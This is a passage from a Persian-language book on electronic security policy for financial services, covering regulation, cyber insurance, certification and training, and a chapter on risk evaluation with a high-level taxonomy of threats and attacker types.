قانونگذاران باید به چگونگیِ گسترشِ نظارت و اجرای قانون برای وسایلِ انتقالِ الکترونیکی توجه کنند. اولین دلیلی که بیشترِ مردم برای عدم استفاده از وسایل انتقال الکترونیکی از آن نام می‌برند هراس از تأمین‌نبودن حفاظت کافی برای اطلاعات است. حفاظت صحیح می‌تواند باعث افزایش اطمینان مصرف‌کننده و تقویت نظم بازار شود و درنتیجه زمینه را برای استفادهٔ بیشتر از سیستمهای مالی الکترونیکی فراهم سازد.

ضمانتنامه‌های جبران خسارات

مؤسسات مالی می‌توانند خدمات بعد از فروش و جبران خسارت را برای شرکتهای تجاری که نرم‌افزار و سخت‌افزار تولید می‌کنند الزامی نمایند. همچنین می‌توانند شرکتها را به عرضهٔ محصولاتی ملزم کنند که در مقابل آسیبهای احتمالی ناشی از رخنه‌های امنیتی سخت‌افزاری و نرم‌افزاری مقاوم باشند. سازمانهایی که چنین خدمات یا محصولاتی را برای صنعت خدمات مالی فراهم می‌کنند، استانداردهای حفاظتی مستحکم‌تری را مورد استفاده قرار می‌دهند و خود را ملزم می‌دانند ذکر نمایند که محصولشان برای استفاده در یک بخش خاص پیکربندی نشده و یا مناسب نیست. یکی از راه‌حلها برای این همهٔ این موارد قراردادن یک *یادداشت سلب مسؤلیت*[۳۷] بر نرم‌افزار یا سخت‌افزار است که اظهار

34 Third-Party Automated Clearinghouse

۳۵ *این خدمات ممکن است درخواستهای دریافت و انتقال پول، تبدیل سرمایه، و سایر موارد مشابه را نیز در بر بگیرد.*

۳۶ *خصوصاً مدیران ارشد اطلاعات و مدیران امنیت اطلاعات*

37 Disclaimer Note

می‌دارد این محصول برای ایجاد، انتقال یا ذخیرهٔ اطلاعات غیرمجاز، حساس یا محرمانه نباید بکار رود و در غیراینصورت هیچ مسئولیتی متوجه پدیدآورندهٔ آن نخواهد بود.

استانداردهایی برای ارائه‌دهندگان خدمات

ارائه‌دهندگان خدمات به صنعت خدمات مالی می‌توانند نسبت به تأمین‌کنندگان خدماتی که مستقیماً با این صنعت در ارتباط نیستند، از استاندارد مستحکم‌تری استفاده کنند. بار دیگر تأکید می‌شود که با انجام اینکار هم هنوز راه زیادی تا ایجاد اطمینان و اعتماد وجود دارد.

رکن سوم:
چالشهای نظارت و پیشگیری

علاوه بر کنترل سیستمهای پرداخت و نظارت بر انتقال‌دهندگان پول، ممکن است اصلاح راهبردهای قانونی، نظارت، و پیشگیری، برای تضمین امنیت ارائه‌دهندگان خدمات مالی مفید باشد. این موضوع بویژه برای شرکتهای تجاری که در بانکداری الکترونیکی یا ارائه سایر خدمات مالی اینترنتی فعال هستند مطرح می‌باشد.

نیازهای سرمایه‌ای

راهبردهای جدید *باسل*[۳۸] برای سرمایه – بویژه آنهایی که به تهدیدهای عملیاتی مربوط می‌شوند – به مخاطرهٔ از دست دادن شهرت یا مخاطرات استراتژیک آسیب‌پذیریهای امنیت الکترونیکی نپرداخته‌اند. از اینرو این سؤال مطرح می‌شود که وقتی اطلاعات در مورد رخدادهای امنیتی دقیق نیست و ارزیابی خساراتی که به شهرت وارد می‌شود سخت است، بهترین راه اندازه‌گیری مخاطرات عملیاتی بانکی چیست؟ با توجه به مسئله تعیین سرمایهٔ لازم برای مخاطرات امنیت الکترونیکی، یک روش مؤثر می‌تواند استفاده از یک روند ارزیابی برای شناسایی و ترمیم نفوذهای امنیتیِ الکترونیکی در کنار ایجاد انگیزه‌های بیشتر برای ثبت گزارشات چنین وقایعی باشد.[۳۹] علاوه بر این مقامات می‌توانند ارائه‌دهندگان خدمات مالی را به بیمه کردن خود در بعضی از جوانب مخاطرات الکترونیکی که در چارچوب سیاستگذاریهای موجود درنظر گرفته نشده‌اند (مثل تخریب سرویس یا سرقت هویت) ترغیب یا ملزم نمایند. از آنجا که صنعت بیمهٔ بخش خصوصی در این حوزه فعالتر شده، این روش بیش از پیش عملی بنظر می‌رسد و می‌تواند به سلامت عمومی صنعت بیمه و ساختار آن در بازارهای درحال رشد منجر شود.[۴۰]

مسئولیت

چارچوب حقوقی و قانونی می‌تواند انگیزه‌هایی را برای شرکتهای میزبان، ارائه‌دهندگان خدمات برنامه‌ها، نرم‌افزار، سخت‌افزار و تأمین‌کنندگان امنیت الکترونیکی ایجاد کند تا به صنعت خدمات مالی پاسخگو باشند.

فرآیندهای نظارت و آزمون

کمیتهٔ باسل در *گروه بانکداری الکترونیکی (EGB) مؤسسهٔ نظارت بانکی*[۴۱] برای ارائه پیشنهاد در زمینه افزایش، ایجاد تغییرات یا انجام اصلاحات مورد نیاز در نظارت و ارزیابی جهت تطبیق روالها با فناوریهای جدید شکل گرفت. در سال ۲۰۰۱، EBG اصول مدیریت مخاطره برای بانکداری الکترونیکی را منتشر کرد که شامل اصول خاصی بود که استانداردهایی برای تأیید اعتبار و تصدیق هویت، کنترلهای داخلی، جامعیت امنیت سرمایه‌ها و همچنین جامعیت اطلاعات بانکداری الکترونیکی اعلام می‌کرد. حوزه‌های نظارت و ارزیابی در چند سال آینده تغییر جهت عمده‌ای پیدا می‌کنند. همانطور که صنعت امنیت با معرفی و تکیه بر انبوه رایانه‌های شخصی و اینترنت یک تغییر الگو را تجربه کرد، بنظر می‌رسد نظارت بانکی نیز تغییر مرکز ثقل صنعت خدمات مالی را تجربه خواهد نمود.

هماهنگی سازمانهای درون‌مرزی و برون‌مرزی

یک موضوع کلیدی که اکثر کشورها با آن روبرو هستند نیاز به ارتقای سطح تبادل اطلاعات میان قانونگذاران و دوایر اجرای قانون (نیروهای انتظامی) است. بسیاری از کشورها

---

38 Basel

۳۹ مراجعه کنید به بند ۶ همین خلاصهٔ اجرایی

۴۰ در بسیاری از بازارهای درحال رشد، صنعت بیمه به خودیِ خود ممکن است نیاز داشته باشد که ساختار مجدد بیابد و به یک حالت استوار برسد؛ اما در هر حال می‌توان از این شرایط نیز جلوگیری کرد.

41 Banking Supervision's Electronic Banking Group

چندین سازمان برای جمع‌آوری اطلاعات مهم دارند، اما معمولاً اطلاعات میان این سازمانها با یکدیگر یا با سازمانهای برون‌مرزی به‌اشتراک گذاشته نمی‌شوند (گاهی اوقات به دلایل حقوقی). موضوع تبادل اطلاعات میان سازمانها در ابعاد ملی و بین‌المللی فراتر از دامنهٔ این کتاب است. در هر صورت از آنجا که دولتها سعی دارند با جرائم موجود در محیط الکترونیکی به مقابله برخیزند، اشتراک اطلاعات و نیز همکاری بین‌المللی در این بحث موضوعاتی کلیدی به حساب می‌آیند.

رکن چهارم: نقش بیمهٔ خصوصی به عنوان یک سیستم نظارت تکمیلی

سازمانهای نظارت‌کننده بر خدمات مالی هنوز درحال تدوین استانداردهای قانونی هستند. به علت مشکلات ذاتی که در مسئله نظارت بر تراکنشهای پیچیدهٔ مبتنی بر زیرساختهای فنیِ متغیر وجود دارد، یافتن راه‌حلهای تکمیلی برای مدیریت مخاطرات از اهمیت زیادی برخوردار است. علیرغم نقایص موجود در اطلاعات لازم برای تخمین آسیبهای ناشی از مخاطرات الکترونیکی، مدتی است که صنعت بیمه در این قسمت نقش ایفا می‌کند. پیش‌بینی می‌شود در چند سال آینده تنها در بازار ایالات متحده، رشد بیمهٔ مسئولیت در تجارت الکترونیکی و گسترهٔ مخاطرات آن سالانه به ۲،۵ میلیارد دلار برسد.

هرچند بیمهٔ مسئولیت در تجارت الکترونیکی و مخاطرات الکترونیکی هنوز در مراحل اولیهٔ توسعه است، اما حاوی مشکلاتی در رابطه با شخص اول و شخص ثالث می‌باشد. تخمین هزینهٔ مخاطرات سایبر باید توسعهٔ بیشتری پیدا کند، ولی برای انجام اینکار، صنعت بیمه باید اطلاعات بیشتری دربارهٔ نفوذهای امنیتی و مخاطرات مرتبط با آنها داشته باشد. بعنوان مثال می‌توان گفت در تجارب ثبت‌شدهٔ کنونیِ این نوع بیمه، به مخاطرات جدیدی که فناوریهای بی‌سیم برای خدمات مالی بوجود آورده‌اند توجه کافی نشده است. ارائه‌کنندگان خدمات بیمه می‌توانند الزام کنند که استانداردهای امنیت الکترونیکی برای فناوری بی‌سیم شناسایی شوند و مورد استفاده قرار گیرند؛ تا پیش از آنکه مجبور به تبعیت از سیاستهای مخاطرات الکترونیکی شوند، این دسته از مخاطرات را کاهش داده باشند.

صنعت بیمهٔ جهانی می‌تواند بعنوان یک نیروی مهم برای تغییر الزامات امنیت الکترونیکی بکار رود. اول اینکه می‌تواند موجب بهبود استانداردهای حداقلی امنیت الکترونیکی در صنعت خدمات مالی شود. برای مثال صنعت جهانی خدمات مالی می‌تواند شرکتها را برای استفاده از امنیت الکترونیکی لایه‌بندی‌شده بعنوان یک پیشنیاز برای تجارت تحریک کند. ثانیاً شرکتهای بیمه می‌توانند از مؤسسات خدمات مالی بخواهند که به فروشندگانی مراجعه نمایند که برای ارائه خدمات امنیت الکترونیکی از استانداردهای تأییدشده و قابل قبول صنعتی بهره می‌برند تا مخاطرات احتمالی را کاهش داده باشند. ثالثاً شرکتهای بیمه می‌توانند قانونگذاران را ترغیب کنند تا مؤسسات خدمات مالی را ملزم نمایند که کیفیت اطلاعات و گزارشها در مورد رخدادها را بگونه‌ای بهبود بخشند که با استفاده از آنها بتوان تحلیل بهتری در مورد مخاطرات الکترونیکی و بازگشت سرمایه انجام داد. سرانجام اینکه صنعت بیمه می‌تواند راه‌حلهایی منتشر کند که در آنها مسائلی چون به‌اشتراک‌گذاری مخاطرات و مسئولیت‌پذیری در قبال نفوذهای امنیتی میان فروشندگان خدمات امنیت الکترونیکی و سایر شرکتهای فعال در این زمینه (مثل شرکتهای میزبان) الزامی شود.

رکن پنجم: گواهی[۴۲]، استانداردها، و نقش بخشهای عمومی و خصوصی

بخشهای عمومی و خصوصی باید با همکاری یکدیگر برای تدوین استانداردها و هماهنگ‌سازی طرحهای تأیید و اعطای گواهی اقدام کنند. دو عنوان که در این زمینه به آنها می‌پردازیم عبارتند از گواهی‌های ارائه‌دهندگان خدمات امنیت الکترونیکی و گواهی‌های عناصر هر تراکنش.

یک رویکرد ممکن برای تأمین امنیت امور مالی الکترونیکی می‌تواند این باشد که قانونگذاران، فروشندگانی که مستقیماً بر سیستم پرداخت تأثیر دارند را ملزم به کسب مجوز نمایند. یک رویکرد دیگر می‌تواند الزام صنعت به تأیید و اعطای

42 Certification

گواهی به ارائه‌دهندگان خدمات امنیت الکترونیکی باشد. بعنوان مثال اخیراً در صنعت امنیت یک گواهینامه با عنوان "متخصص امنیت" ایجاد شده است. در حقیقت در اثر این اتفاق، با تهیهٔ یک ساختار قابل شناسایی برای مصرف‌کننده، مسؤلیت‌پذیری میان صنعت و متخصصین آن، و تفکیک متخصصینِ تأییدشده از کسانیکه خود را متخصص می‌دانند، این تمام صنعت است که سود می‌برد. این روش همچنین وضعیت حوزهٔ امنیت را به وضعیت یک حوزهٔ حرفه‌ای ارتقا می‌دهد و باعث می‌شود صنعت انگیزهٔ لازم برای تدوین و اعمال استانداردها را داشته باشد.

حوزهٔ بعدی که باید مورد ملاحظه قرار گیرد گواهی‌های عناصر انجام معامله نظیر امضای الکترونیکی است. گواهی می‌تواند ارزش یک معامله را بسته به اینکه چه کسی و چه چیزی آنرا گواهی کرده افزایش دهد. گواهی ممکن است بوسیلهٔ یک سازمان دولتی نظیر ادارهٔ پست یا یک سازمان خصوصی مثل بانک صادر شود. هریک از این موارد، مسائل ساختاری و مدیریتی خاص خود را دارند. در بسیاری از کشورها ممکن است شرکتهای خصوصی برای تهیهٔ زیرساخت اطلاعاتیِ مورد نیاز برای اعطای گواهی بهتر عمل کنند.

عنصر اصلی یک برنامهٔ موفق برای اعطای گواهی این است که ساختارهایی که در مراکز قضایی مختلف وجود دارند باید از خصوصیات یکسانی برای تأیید کلیهٔ تراکنشها استفاده کنند و حدود اختیارات و مسئولیتهای یک تأییدکننده باید در تمام حوزه‌های قضایی یکپارچه و جامع باشد.

اگرچه استفاده از فناوری *زیرساخت کلید عمومی* (PKI)[۴۳] و اعطای گواهی معمولاً بعنوان تنها راههای قابل قبول برای تأمین امنیت درنظر گرفته می‌شوند، لیکن توجه به هزینه‌ها و ساختارهای پیچیده و درهم PKI و ناسازگاریهای حقوقی آن با *مراکز صدور گواهی* (CAs)[۴۴] نیز ضروری است. یک راه‌حل برای اینکه معقول و مناسب باشد باید با درنظر گرفتن مرزهایی چون اعتماد و مسئولیت‌پذیری قابل اجرا باشد و این چندان اهمیتی ندارد که برای انجام آن کدام فناوری مورد استفاده قرار خواهد گرفت.

43 *Public Key Infrastructure*
44 *Certification Authorities*

رکن ششم:
دقت در اطلاعات رخدادهای امنیتی، و همکاری دولت و بخش خصوصی

فقدان اطلاعات دقیق دربارهٔ رخدادهای امنیت الکترونیکی، نتیجهٔ دانش یا انگیزهٔ کم برای تهیه، اندازه‌گیری و به‌اشتراک‌گذاری اطلاعات است. با گسترش تدارکات درون‌مرزی و برون‌مرزی به منظور تسهیل در اشتراک اطلاعات دقیق دربارهٔ حملات تخریب سرویس، سرقت، کلاهبرداری و غیره توسط ارائه‌دهندگان خدمات مالی، امنیت الکترونیکی در سراسر جهان تقویت خواهد شد. به‌اشتراک نگذاشتن اطلاعات نه تنها دانش را در یک سطح معین نگه می‌دارد، بلکه از آن مهمتر می‌تواند توسعهٔ راه‌حلهای بخش خصوصی (شامل بیمه) را نیز محدود نماید. این فقدان اطلاعات ممکن است باعث افزایش هزینهٔ بیمهٔ شرکتها و ارائه‌دهندگان خدمات مالی شود.

در این حوزه همکاریهای گسترده‌تر دولت و بخش خصوصی لازم است. برای مثال *کمیتهٔ راهبری ارزیابی امنیت و مخاطرهٔ BIST*[۴۵] با ایجاد آزمایشگاه امنیت خدمات مالی، موضوعاتی چون امنیت، سلامت و صحت پرداختها ، تجارت الکترونیکی، و فناوریهای مربوطه را مورد بررسی قرار می‌دهد. این آزمایشگاه همچنین تبادل اطلاعات دربارهٔ موضوعات امنیتی صنعت خدمات مالی را تسهیل می‌نماید.

علاوه بر این وجود *اتحاد امنیت اینترنت*[۴۶]، *تیمهای امنیت رخداد و واکنش*[۴۷]، و *مرکز فوریتهای امنیت رایانه‌ای* (CERT)[۴۸] در کشورهای مختلف نشان می‌دهد که همکاری متقابل باعث اشتراک فزایندهٔ اطلاعات میان مجریان قانون و شرکتهای خصوصی ارائه‌کنندهٔ خدمات مالی می‌شود. یک عنصر مشترک در تمام این برنامه‌ها رعایت محرمانگی و اعتماد است: مجریان قانون و مؤسسات آموزشی، هویت منابع اطلاعات دقیق خود را فاش نمی‌کنند. در این حوزه نقش سازمانهای چندجانبه در تسهیل همکاری نیاز به بررسی دارد. بدیهی است که هر چه اقتصاد منسجم‌تر شود، به نحو احسن

45 *BIST's Security and Risk Assessment Steering Committee*
46 *Internet Security Alliance*
47 *Forum of Incident and Response Security Teams*
48 *Computer Emergency Response Team*

انجام‌شدن مسئولیت هر بخش اهمیت بیشتری پیدا می‌کند؛ و این درحالی است که صنعت خدمات مالیِ امروز، در آغاز بعنوان یک سیستم متمرکز شروع به کار کرد و تغییرات فناوری در دههٔ گذشته بود که وابستگیهای درونی این سیستم را گسترش داده و بیشتر کرده است.

رکن هفتم: آموزش و پیشگیری از وقوع رخدادهای امنیت الکترونیکی

تحلیل آماری نشان می‌دهد که در بسیاری از کشورها بیش از ۵۰٪ حملات امنیت الکترونیکی به سازمانها توسط افراد داخل سازمانها صورت می‌گیرد. نیروی کار با تحصیلات کم در مقابل حملات اینترنتی آسیب‌پذیرتر است. برعکس، نیروی کار آموزش‌دیده که از موضوعات امنیتی آگاه است می‌تواند یک لایهٔ مؤثر حفاظتی به سیستم بیافزاید.

اقدامات اولیهٔ آموزشی باید برای ارائه‌دهندگان خدمات مالی اعم از مدیران و راهبران سیستم – که در سازمانهای مختلف به نظارت و اجرای قانون می‌پردازند – و همچنین برای کاربران اینترنتی خدمات مالی مورد توجه قرار گیرد. اقدامات اولیه شامل موارد زیر می‌شوند:

- ارتقای آگاهی و آموزش افراد بخش مالی در مورد اصول اخلاقی در اینترنت و رفتار مناسب کاربر در سیستمهای شبکه‌ای؛
- تدوین سیاستهای امنیت الکترونیکی در سطح سازمان در مواردی چون رفتار درست و راههای موجود برای گزارش حملات یا رخدادها با هماهنگی کامل با تمام فعالیتهایی که در راستای تکمیل اطلاعات جهانی دربارهٔ حملات انجام می‌شوند؛
- افزایش آگاهی مجامع بانکداریِ بازارهای نوین دربارهٔ نیاز به *طرحهای واکنش به رخداد*[۴۹] در مواردی که حادثه‌ای رخ می‌دهد؛
- تسهیل همکاری و انتقال دانش میان مجریان قانون، *واحدهای اطلاعات خدمات مالی*[۵۰] و سازمانهای نظارتی در بازارهای توسعه‌یافته و نوین با ابزارهایی نظیر طرحهای تبادل فعال اطلاعات میان کارکنان؛
- طراحی دوره‌های متمرکز برای ممتحنان با کمک *مؤسسه پایداری خدمات مالی*[۵۱] یا دیگر مراکز آموزشی؛
- تدوین یک طرح چندمنظورهٔ دانشگاهی برای آموزش متخصصین آیندهٔ امنیت الکترونیکی، و بطور همزمان ارتقای سطح دانش کاربران خدمات مالی اینترنتی.

رکن هشتم: امنیت چندلایه

دوازده لایهٔ اصلی امنیت وجود دارند که از اجزای بنیادی یک طرح مناسب برای حفظ یکپارچگی داده‌ها و کاهش مخاطرات محیطهای دارای معماری باز به حساب می‌آیند. این سلسلهٔ دوازده لایه‌ای توضیح می‌دهد که در هر شرایط کدام مکانیزم امنیت باید مورد استفاده قرار بگیرد؛ و همچنین می‌گوید که امنیت هر شبکه تنها به اندازهٔ ضعیفترین عنصر آن شبکه است. جزئیات این طرح دوازده لایه‌ای امنیت در انتهای همین بخش ارائه شده است.

تبصره‌ها

بخش سوم و چهارم کتاب مربوط به محیطهایی است که بسرعت درحال شکل‌گیری می‌باشند و با بکارگیری یک روش ضابطه‌مند تلاش دارند اقتصاد و قانون و فناوری را به تناسب یکدیگر هماهنگ کند. به علت رشد سریع جهانی، امنیت الکترونیکی قالبی مرموز دارد. غالب کشورها از جمله آنها که تجربهٔ بیشتری دربارهٔ مسائل امنیتی دارند هنوز از دانش اندکی در این زمینه برخوردارند و بازارهای نوین حتی از این هم کمتر می‌دانند. این کتاب توجه بیشتری به آموزه‌های ایالات متحده دارد؛ چراکه محل بوجود آمدن اینترنت بوده و زمان بیشتری برای تجربهٔ مزایا و معایب آن داشته، و همچنین استانداردهای اولیه در این زمینه را بوجود آورده است.[۵۲] در تدوین این کتاب به فعالیتها و تجارب

49 *Incident Response Plan*
50 *Financial Intelligence Units*

51 *Financial Stability Institute*
۵۲ *اینترنت از ARPANET بوجود آمد، که در سال ۱۹۶۹ بوسیلهٔ سازمان پروژه‌های تحقیقاتی پیشرفته (Advanced*

بخش سوم

کشورهای پیشرفتهٔ اقتصادی در اروپا، آسیا و آمریکای جنوبی نیز توجه شده است. بدیهی است که مطالب زیادی را می‌توان دربارهٔ موضوعاتی چون "مشکلات ویژهٔ بازارهای نوین در این عرصه"، و "زمینه‌های حقوقی و موافقتنامه‌های سازمانی لازم برای بهبود امنیت الکترونیکی در سراسر جهان" طرح کرد.

بدون انجام این فعالیها، نیروی بالقوهٔ عظیم شرکتهایی که خود را با تجارت الکترونیکی تطبیق داده‌اند به شدت به خطر می‌افتد؛ چراکه اعتماد و اطمینان کسانیکه در بازار هستند بطور جدی تحت تأثیر قرار می‌گیرد. در فصلهای بعدیِ این بخش موارد زیر دنبال شده‌اند:

الف) روشهایی برای ارزیابی مخاطره و تحلیل زیان؛

ب) راهنمای عملی تدوین سیاستها و روالهای امنیتی که برای یک سازمان مناسب هستند؛

ج) توصیه‌های کلی و ویژه برای مدیران و کارمندان دربارهٔ الگوهای سرآمدی امنیت الکترونیکی؛ و

د) مجموعه‌ای از فهرستهای کنترل، با اظهار نظرهایی از سراسر دنیا در موضوع امنیت در عملیات تجاری، بویژه در رابطه با بخش مالی و کاربردهای تجارت الکترونیکی.

Research Projects Agency) در وزارت دفاع ایالات متحده طراحی شده بود.

فصل سوم
برآورد مخاطره و تحلیل زیان

کلیات

در این فصل *برآورد مخاطره*[53] و *تحلیل زیان*[54] و آسیبهای امنیتی از دیدگاه تجاری بررسی می‌شوند؛ ، منشأ، عملکرد محتمل، و شدت اثرات گستره‌ای از مخاطرات امنیتی بر فعالیتهای روزمره مورد مطالعه قرار می‌گیرند؛ نکات اصلیِ یک سیاست امنیتی صحیح تشریح می‌شوند و اصول اساسی تحلیل زیان هنگام وقوع یک رخداد امنیتی واقعی نیز مورد بررسی قرار می‌گیرند.

توسعهٔ فناوری: مرزهای جدید

کلیهٔ سازمانها – چه کوچک و چه بزرگ – درحال فعالیت در یک محیط جهانی هستند. پیشرفت ارتباطات و شبکه‌های حمل و نقل در قرن گذشته مشتریان و بازارها را به هم نزدیکتر کرده، هزینه‌ها را به حداقل رسانده و باعث شده امروز بتوان محصولات را برای خریداران به تمامی نقاط دنیا ارسال کرد. از دیدگاه بین‌المللی مدیران باید گستره‌ای از مخاطرات را برای مؤسسه‌هایشان درنظر بگیرند. از انتهای دههٔ ۱۹۹۰ به بعد حملات شدید بسیاری در سراسر دنیا صورت پذیرفت (نظیر حمله به مرکز تجارت جهانی در سال ۲۰۰۱). در مقابله با چنین رخدادهایی، نیاز به امنیت فیزیکی کاملاً روشن شد: ضرورت حضور پلیس در اطراف ساختمانها، کنترل ورود به ساختمانها، طراحی سیاستهای صحیح برای تخلیهٔ محیط درصورت وقوع حادثه، و توسعه دادن نقاط تماس مطمئن‌تر با مقامات محلی و کشوری.

در قسمت فنی نیز بصورت متناظر بررسی تهدیدهایی که از داخل و خارج سازمان متوجه تجهیزات رایانه‌ای، برنامه‌های کاربردی، پایگاههای داده، و شبکه‌هایی که گروهها را به هم متصل می‌کنند اغاز شده است. در محیط کار، داده‌های خام نظیر سوابق مشتریان یا اطلاعات کارت اعتباری برای رقبا و تبهکاران رایانه‌ای اهدافی ارزشمند است و به توجه خاص نیاز دارد. علاوه بر این در مؤسسات پیشرفته‌تر *مالکیت معنوی*[55] نظیر اسناد تحقیقات علمی یا فرآیندهای کاریِ منحصر بفرد ارزش زیادی دارند و نیازمند مراقبتهای امنیتیِ ویژه هستند. در دنیایی که روز به روز رقابت در آن شدت می‌گیرد، سرقت داده‌های خام و دارائیهای فکری از طریق رایانه رو به افزایش است. مواردی چون "پشتیبانی پیشگیرانه" که در نگرش کلی و سرمایه‌گذاری مدیریت مورد توجه قرار می‌گیرد، آموزش و هوشیارسازی کارکنان، و ارتباطات شفاف درون سازمان، به کاهش خطرات ناشی از تخلفات امنیت فیزیکی و امنیت سایبر کمک می‌کنند.

خود را بشناسیم

اگرچه طرحها و روالهای مشترکی برای ایمن‌سازی سیستمهای رایانه‌ای و ساختمانها وجود دارد، اما داشتن تصویر کاملی از سازمان و قالب فعالیت آن برای تدوین یک طرح امنیتیِ خوب، لازم است. مجموعهٔ سیاستها و روالهای امنیتی مورد نیازِ شرکتی که در زمینهٔ دفع ضایعات خطرناک یا مواد زیستی فعال است با سیاستها و روالهای مورد نیازِ یک تولیدکنندهٔ لوازم الکترونیکی متفاوت است. برای آغاز فرآیند شناساییِ خطرات بالقوهٔ امنیتی توسط مدیریت، پاسخگویی به پنج سئوال زیر مفید خواهد بود:

۱. اصلی‌ترین محصول یا خدمت سازمان چیست؟ اگر چند پاسخ وجود دارد سعی کنید آنها را اولویت‌بندی نمایید.

۲. منابع اصلی درآمد و رشد سازمان کدامند؟

۳. ساختار سازمان چگونه است؟ بخشهای مختلف و عملکردهای اصلی هریک کدامند؟ این بخشها چگونه فعالیت می‌کنند؛ چگونه با یکدیگر ارتباط برقرار می‌نمایند؛ و چگونه بعنوان یک مجموعهٔ واحد به فعالیت می‌پردازند؟

53 *Risk Evaluation*
54 *Loss Analysis*
55 *Intellectual Property*

۴. کدام اطلاعات برای هر بخش حساستر است و از چه فناوریهایی برای ذخیره و توزیع این اطلاعات در خارج و داخل سازمان استفاده می‌شود؟

۵. مشتریان، شرکا و فروشندگان سازمان چه کسانی هستند و نحوهٔ تعامل آنها با سازمان چگونه است؟

اطلاعات مورد نیاز برای پاسخ دادن به این سؤالات را می‌توان از گفتگو با کارمندان (بخصوص کارکنان بخش فناوری اطلاعات)، مدیران و هیأت مدیره شرکت بدست آورد. ارزیابی نظرات مشتریان و فروشندگان در مورد مسائل دیگر ممکن است منجر به کشف مسائل امنیتی جدید شود. دست آخر اینکه تیمی که به جمع‌آوری اطلاعات می‌پردازد باید با ادبیات گزارشات رسانه‌ها در مورد شرکت آشنا باشد. نظرات عمومی نیز می‌تواند مؤثر باشد؛ بخصوص اگر شرکت در صنعتی بحث‌انگیز یا در جایگاهی حساس فعالیت کند، و یا گزارشاتی در مورد آن بصورت منظم در نشریات ظاهر شده باشد.

دشمن را بشناسیم: تهدیدات داخلی و خارجی

زمانیکه شرکت ساختار و عملکرد خود را ارزیابی کرد، موقعیتی مناسب برای تدوین شرحی از نقاط بالقوهٔ قوت و ضعف امنیتی آن بدست می‌آید. در ابتدا بهتر است روی تهدیدات کلی متمرکز شویم. هنگامیکه این تهدیدات شناسایی شدند، ارزیابی سطح تهدیدات داخلی و خارجی در فعالیتهای مربوط به هرکدام از این تهدیدها امکانپذیر خواهد بود.

تهدیدات کلی هر شرکت یا سازمان رسمی عبارتند از:

تهدیدات فیزیکی

- بلایای طبیعی (آتش‌سوزی، زلزله، طوفانهای شدید و سیل)؛
- دزدی؛
- تخریب؛
- تداخلهای فیزیکی؛
- تخریب شبکه؛ و
- جاسوسی سازمانیافته.

تهدیدات نرم‌افزاری

- نفوذ به دیواره‌های آتش؛
- برافزارها (ویروسها، تراواها، کرمها)؛
- انتشار غیرمجاز یا تخریب داده‌ها؛ و
- جاسوسی سازمانیافته بوسیلهٔ ابزارهای دیجیتالی .

از موضع تهدیدات انسانی، شرکت باید عوامل خرابکار داخلی و خارجی را شناسایی کند. در برخی موارد نقض امنیت داخلی می‌تواند ناشی از خطای انسانی باشد: یک سهل‌انگاری ساده، بی‌توجهی، یا عدم آموزش کافی کارمندان. در حوزه‌های دیگر بخصوص جاسوسی سازمانیافته، می‌توان از *مهندسی اجتماعی*[۵۶] برای دسترسی به تسهیلات و داده‌های سازمانی و محرمانهٔ افراد آگاه داخل شرکت استفاده کرد. مجموعه‌ای مناسب از سیاستها باید توسط بخش امنیت و با همکاری بخش پرسنلی ایجاد شوند تا به کاهش خطرات کمک نمایند. بخشهای امنیتی و پرسنلی همچنین می‌توانند در روالهای استخدام و اخراج کارکنان با یکدیگر همکاری نمایند. اگرچه در برخی موارد نمی‌توان انگیزهٔ شفافی برای اعمال خرابکارانه یافت انگیزه‌های متفاوت اینگونه فعالیتهای مخرب رایانه‌ای نیاز به توضیح مفصل دارند. دسته‌بندی کسانیکه به رایانه‌ها نفوذ می‌کنند چندان امکانپذیر نیست، ولی به هر ترتیب می‌توان در مورد شدت تهدیدها و متناظراً آسیب مورد انتظار هر تهدید بصورت کلی بحث کرد.

نفوذگران تفننی[۵۷] **(نفوذگران تابستانی**[۵۸]**)**، کارمندان یک سازمان هستند که با پروتکلهای شبکه آشنایی دارند. این افراد معمولاً قصد تخریب داده‌ها و دارائیهای شرکت را ندارند، اما از روی کنجکاوی سعی می‌کنند به منابعی که مجاز به استفاده از آنها نیستند دست پیدا کنند. با این وجود شاید کاملاً با ابزارهای نفوذ آشنا نباشند و با استفادهٔ نادرست از ابزارها باعث تخریب سیستمها شوند. علاوه بر این اگر ابزارها از اینترنت download شده باشند ممکن است دارای *درب مخفی*[۵۹] یا *تراوا*[۶۰] باشند که مورد استفاده دیگر مهاجمین قرار می‌گیرند. لذا نفوذ تفننی یک تهدید بزرگ

56 *Social Engineering*
57 *Casual Hackers*
58 *Summertime Hackers*
59 *Backdoor*
60 *Trojan*

محسوب می‌شود و مهمترین دلیل ممنوع بودن آن نیز همین است.

"Script Kiddie"ها معمولاً نفوذگران جوانتر (در سن دبیرستان یا پیش‌دانشگاهی) هستند که مهارتهای رایانه‌ای خوب و اوقات بیکاری زیادی دارند، اما چندان خبره نیستند و برای انجام نفوذ از تکه‌برنامه‌هایی که دیگران تهیه کرده‌اند استفاده می‌کنند. بطور کلی افراد این دسته مانند تبهکاران هدفدار (که در ادامهٔ همین مطلب بررسی شده)، بر روی تخریب متمرکز نمی‌شوند اما تعداد آنها زیاد است و گاهی به صورت تیمی کار می‌کنند و طبیعتاً در این قالب تهدید بزرگتری به حساب می‌آیند. "Script Kiddie"ها نفوذ موفق خود را منتشر و از آن طریق ادعای شهرت می‌کنند. در واقع آنها به بدنامیِ حاصل از حجم زیاد حملات خود افتخار می‌کنند. به علت رواج این تهدید، سازندگان نرم‌افزارهای امنیتی ابزارهای مؤثری را برای جلوگیری از این نوع نفوذ تهیه کرده‌اند. دیواره‌های آتش و *سیستمهای مهاجم‌یاب*[61] برای دفاع در مقابل چنین حملاتی بوجود آمده‌اند.

تبهکاران هدفدار معمولاً مهاجمان خبره‌ای هستند که هدف آنها سرقت اطلاعات، تخریب و از بین بردن داده‌ها، و از کار انداختن سیستمها در خلال یک بازهٔ زمانی می‌باشد. برخلاف نفوذگران تفننی و "script kiddie"ها، هدف آنها واقعاً نفوذ به سیستمها است. آنها در برخی موارد بدنبال اطلاعات ارزشمندی مثل داده‌های مالی (شماره‌های کارت اعتباری و جزئیات حساب بانکی) یا اطلاعات شخصی (شماره‌های شناسایی، سوابق دانشگاهی و فایلهای مشتریان) هستند تا آنها را تغییر دهند یا بگونه‌ای دیگر از آنها بهره ببرند. این دسته از مهاجمان غالباً بخوبی سازماندهی می‌شوند و پیش از انجام حملهٔ اصلی، اطلاعات ارزشمندی راجع به سازمان قربانی جمع‌آوری می‌کنند. خوشبختانه تعداد این نوع مجرمان کمتر از انواع دیگر است، اما جلوگیری از نفوذ آنان بسیار مشکل می‌باشد و درصورت نفوذ 